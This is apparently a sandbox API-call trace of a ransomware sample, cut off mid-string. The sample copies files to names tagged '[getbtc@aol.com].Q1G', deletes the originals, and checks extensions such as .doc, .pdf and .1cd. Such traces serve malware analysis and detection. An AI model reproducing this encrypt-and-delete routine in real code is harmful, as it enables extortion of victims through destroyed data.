GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0037.432] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0037.432] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.432] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.433] GetLastError () returned 0x0 [0037.433] ReadFile (in: hFile=0x1b0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0037.434] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0037.435] ReadFile (in: hFile=0x1b0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.435] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0037.435] SetEndOfFile (hFile=0x1a0) returned 1 [0037.435] CloseHandle (hObject=0x1a0) returned 1 [0037.436] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.436] SetEndOfFile (hFile=0x1b0) returned 1 [0037.437] CloseHandle (hObject=0x1b0) returned 1 [0037.437] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.437] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0037.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.437] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.437] lstrlenW (lpString=".doc") returned 4 [0037.437] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.437] lstrlenW (lpString=".docx") returned 5 [0037.437] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0037.437] lstrlenW (lpString=".pdf") returned 4 [0037.437] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.437] lstrlenW (lpString=".xls") returned 4 [0037.437] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.437] lstrlenW (lpString=".xlsx") returned 5 [0037.438] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0037.438] lstrlenW (lpString=".ppt") returned 4 [0037.438] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.438] lstrlenW (lpString=".zip") returned 4 [0037.438] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.438] lstrlenW (lpString=".rar") returned 4 [0037.438] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.438] lstrlenW (lpString=".bz2") returned 4 [0037.438] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.438] lstrlenW (lpString=".7z") returned 3 [0037.438] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.438] lstrlenW (lpString=".dbf") returned 4 [0037.438] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.438] lstrlenW (lpString=".1cd") returned 4 [0037.438] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.438] lstrlenW (lpString=".jpg") returned 4 [0037.438] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.438] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.438] lstrlenW (lpString=".doc") returned 4 [0037.438] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.438] lstrlenW (lpString=".docx") returned 5 [0037.438] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0037.438] lstrlenW (lpString=".pdf") returned 4 [0037.438] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.438] lstrlenW (lpString=".xls") returned 4 [0037.438] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.438] lstrlenW (lpString=".xlsx") returned 5 [0037.438] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0037.439] lstrlenW (lpString=".ppt") returned 4 [0037.439] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.439] lstrlenW (lpString=".zip") returned 4 [0037.439] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.439] lstrlenW (lpString=".rar") returned 4 [0037.439] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.439] lstrlenW (lpString=".bz2") returned 4 [0037.439] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.439] lstrlenW (lpString=".7z") returned 3 [0037.439] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.439] lstrlenW (lpString=".dbf") returned 4 [0037.439] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.439] lstrlenW (lpString=".1cd") returned 4 [0037.439] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0037.439] lstrlenW (lpString=".jpg") returned 4 [0037.439] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.439] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.439] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0037.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0037.440] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=6421) returned 1 [0037.440] CloseHandle (hObject=0x1b0) returned 1 [0037.440] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0037.441] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.441] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0037.441] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.441] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.441] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0037.441] GetLastError () returned 0x0 [0037.441] ReadFile (in: hFile=0x1b0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x1915, lpOverlapped=0x0) returned 1 [0037.782] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0037.927] ReadFile (in: hFile=0x1b0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.927] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0037.927] SetEndOfFile (hFile=0x1a0) returned 1 [0037.927] CloseHandle (hObject=0x1a0) returned 1 [0037.928] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.928] SetEndOfFile (hFile=0x1b0) returned 1 [0037.928] CloseHandle (hObject=0x1b0) returned 1 [0037.929] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0037.929] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0037.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.929] lstrlenW (lpString=".doc") returned 4 [0037.929] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.929] lstrlenW (lpString=".docx") returned 5 [0037.929] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0037.929] lstrlenW (lpString=".pdf") returned 4 [0037.929] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.929] lstrlenW (lpString=".xls") returned 4 [0037.929] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.929] lstrlenW (lpString=".xlsx") returned 5 [0037.929] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0037.929] lstrlenW (lpString=".ppt") returned 4 [0037.929] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.929] lstrlenW (lpString=".zip") returned 4 [0037.929] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.929] lstrlenW (lpString=".rar") returned 4 [0037.929] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.930] lstrlenW (lpString=".bz2") returned 4 [0037.930] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.930] lstrlenW (lpString=".7z") returned 3 [0037.930] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.930] lstrlenW (lpString=".dbf") returned 4 [0037.930] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.930] lstrlenW (lpString=".1cd") returned 4 [0037.930] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.930] lstrlenW (lpString=".jpg") returned 4 [0037.930] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.930] lstrlenW (lpString=".doc") returned 4 [0037.930] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.930] lstrlenW (lpString=".docx") returned 5 [0037.930] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0037.930] lstrlenW (lpString=".pdf") returned 4 [0037.930] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.930] lstrlenW (lpString=".xls") returned 4 [0037.930] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.930] lstrlenW (lpString=".xlsx") returned 5 [0037.930] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0037.930] lstrlenW (lpString=".ppt") returned 4 [0037.930] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.930] lstrlenW (lpString=".zip") returned 4 [0037.930] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.930] lstrlenW (lpString=".rar") returned 4 [0037.930] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.931] lstrlenW (lpString=".bz2") returned 4 [0037.931] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.931] lstrlenW (lpString=".7z") returned 3 [0037.931] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.931] lstrlenW (lpString=".dbf") returned 4 [0037.931] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.931] lstrlenW (lpString=".1cd") returned 4 [0037.931] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0037.931] lstrlenW (lpString=".jpg") returned 4 [0037.931] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.931] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0037.931] lstrlenW (lpString="web.xml") returned 7 [0037.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.382] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=207) returned 1 [0038.382] CloseHandle (hObject=0x1b0) returned 1 [0038.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20 [0038.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.383] lstrlenW (lpString=".doc") returned 4 [0038.383] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.383] lstrlenW (lpString=".docx") returned 5 [0038.383] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0038.383] lstrlenW (lpString=".pdf") returned 4 [0038.383] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.383] lstrlenW (lpString=".xls") returned 4 [0038.383] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.383] lstrlenW (lpString=".xlsx") returned 5 [0038.383] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0038.383] lstrlenW (lpString=".ppt") returned 4 [0038.383] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.383] lstrlenW (lpString=".zip") returned 4 [0038.383] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.383] lstrlenW (lpString=".rar") returned 4 [0038.383] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.383] lstrlenW (lpString=".bz2") returned 4 [0038.383] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.383] lstrlenW (lpString=".7z") returned 3 [0038.383] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.383] lstrlenW (lpString=".dbf") returned 4 [0038.383] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.383] lstrlenW (lpString=".1cd") returned 4 [0038.383] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.383] lstrlenW (lpString=".jpg") returned 4 [0038.383] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.384] lstrlenW (lpString=".doc") returned 4 [0038.384] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.384] lstrlenW (lpString=".docx") returned 5 [0038.384] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0038.384] lstrlenW (lpString=".pdf") returned 4 [0038.384] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.384] lstrlenW (lpString=".xls") returned 4 [0038.384] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.384] lstrlenW (lpString=".xlsx") returned 5 [0038.384] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0038.384] lstrlenW (lpString=".ppt") returned 4 [0038.384] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.384] lstrlenW (lpString=".zip") returned 4 [0038.384] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.384] lstrlenW (lpString=".rar") returned 4 [0038.384] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.384] lstrlenW (lpString=".bz2") returned 4 [0038.384] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.384] lstrlenW (lpString=".7z") returned 3 [0038.384] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.384] lstrlenW (lpString=".dbf") returned 4 [0038.384] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.384] lstrlenW (lpString=".1cd") returned 4 [0038.384] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72 [0038.384] lstrlenW (lpString=".jpg") returned 4 [0038.384] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.385] lstrcmpiW (lpString1=".dat", lpString2=".Q1G") returned -1 [0038.385] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0038.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0038.385] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=46624) returned 1 [0038.385] CloseHandle (hObject=0x1b0) returned 1 [0038.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0038.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0038.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0038.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.386] lstrlenW (lpString=".doc") returned 4 [0038.386] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0038.386] lstrlenW (lpString=".docx") returned 5 [0038.386] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0038.386] lstrlenW (lpString=".pdf") returned 4 [0038.386] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0038.386] lstrlenW (lpString=".xls") returned 4 [0038.386] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0038.386] lstrlenW (lpString=".xlsx") returned 5 [0038.386] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0038.386] lstrlenW (lpString=".ppt") returned 4 [0038.386] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0038.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.386] lstrlenW (lpString=".zip") returned 4 [0038.386] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0038.386] lstrlenW (lpString=".rar") returned 4 [0038.386] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0038.386] lstrlenW (lpString=".bz2") returned 4 [0038.386] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0038.386] lstrlenW (lpString=".7z") returned 3 [0038.386] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0038.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0038.386] lstrlenW (lpString=".dbf") returned 4 [0038.386] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0038.386] lstrlenW (lpString="C:\\Program Files\\Common 